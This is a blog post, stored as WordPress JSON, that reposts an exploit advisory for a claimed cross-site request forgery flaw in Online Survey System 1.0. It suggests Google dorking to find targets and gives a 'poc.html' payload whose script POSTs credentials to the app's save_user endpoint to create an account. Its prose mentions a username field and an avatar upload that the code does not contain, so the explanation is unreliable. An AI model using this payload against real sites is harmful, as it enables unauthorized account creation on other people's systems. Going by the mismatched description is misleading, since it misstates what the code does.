{"id":59093,"date":"2024-08-22T18:50:24","date_gmt":"2024-08-22T15:50:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180327\/oss10-xsrf.txt"},"modified":"2024-08-22T18:50:24","modified_gmt":"2024-08-22T15:50:24","slug":"online-survey-system-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-survey-system-1-0-cross-site-request-forgery\/","title":{"rendered":"Online Survey System 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Online Survey System 1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/simple-online-survey-system_0.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This HTML page :<\/p>\n<p>is a user registration form that allows users to input a username, password, and upload an avatar image. <br \/>The form data is then sent via an AJAX request to a server-side script for processing.<\/p>\n[+] Here&#8217;s a breakdown of how it works:<\/p>\n<p>HTML Structure<\/p>\n<p>Form Elements:<\/p>\n<p>username: A text field where the user can input their username.<br \/>password: A password field for entering a password.<br \/>img: A file input for uploading an avatar image (restricted to image file types).<\/p>\n<p>Save User Button:<\/p>\n<p>An input element with the type button is used to trigger the saveUser() function when clicked.<\/p>\n[+] JavaScript (AJAX Request)<\/p>\n<p>AJAX Request:<\/p>\n<p>An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).<br \/>The request method is POST, and the data is sent to the specified URL.<br \/>The onload function checks if the request was successful (status code 200). If it was,<br \/>it alerts the user that the save was successful; otherwise, it alerts the user of an error.<\/p>\n[+] Backend Requirements :<\/p>\n<p>The server-side script (Users.php) should be capable of handling the incoming POST request, <br \/>processing the form data (including saving the file), and returning an appropriate response.<\/p>\n<p>This form can be improved by adding additional client-side validations, better error handling, <br \/>and perhaps enhancing security measures, such as sanitizing inputs on the server side.<\/p>\n[+] save code as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;User Registration&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<\/p>\n<p>&lt;h2&gt;User Registration&lt;\/h2&gt;<br \/>&lt;form id=&#8221;userForm&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;label for=&#8221;email&#8221;&gt;Email:&lt;\/label&gt;<br \/>&lt;input type=&#8221;email&#8221; id=&#8221;email&#8221; name=&#8221;email&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;password&#8221;&gt;Password:&lt;\/label&gt;<br \/>&lt;input type=&#8221;password&#8221; id=&#8221;password&#8221; name=&#8221;password&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;input type=&#8221;button&#8221; value=&#8221;Save User&#8221; onclick=&#8221;saveUser()&#8221;&gt;<br \/>&lt;\/form&gt;<\/p>\n<p>&lt;script&gt;<br \/>function saveUser() {<br \/>var form = document.getElementById(&#8216;userForm&#8217;);<br \/>var formData = new FormData(form);<\/p>\n<p>var xhr = new XMLHttpRequest();<br \/>xhr.open(&#8220;POST&#8221;, &#8220;http:\/\/127.0.0.1\/survey\/ajax.php?action=save_user&#8221;, true);<\/p>\n<p>xhr.onload = function () {<br \/>if (xhr.status === 200) {<br \/>alert(&#8216;User saved successfully&#8217;);<br \/>} else {<br \/>alert(&#8216;An error occurred while saving the user&#8217;);<br \/>}<br \/>};<\/p>\n<p>xhr.send(formData);<br \/>}<br \/>&lt;\/script&gt;<\/p>\n<p>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Online Survey System 1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/simple-online-survey-system_0.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This HTML page : is a user &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59093","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59093","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59093"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59093\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59093"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59093"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59093"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}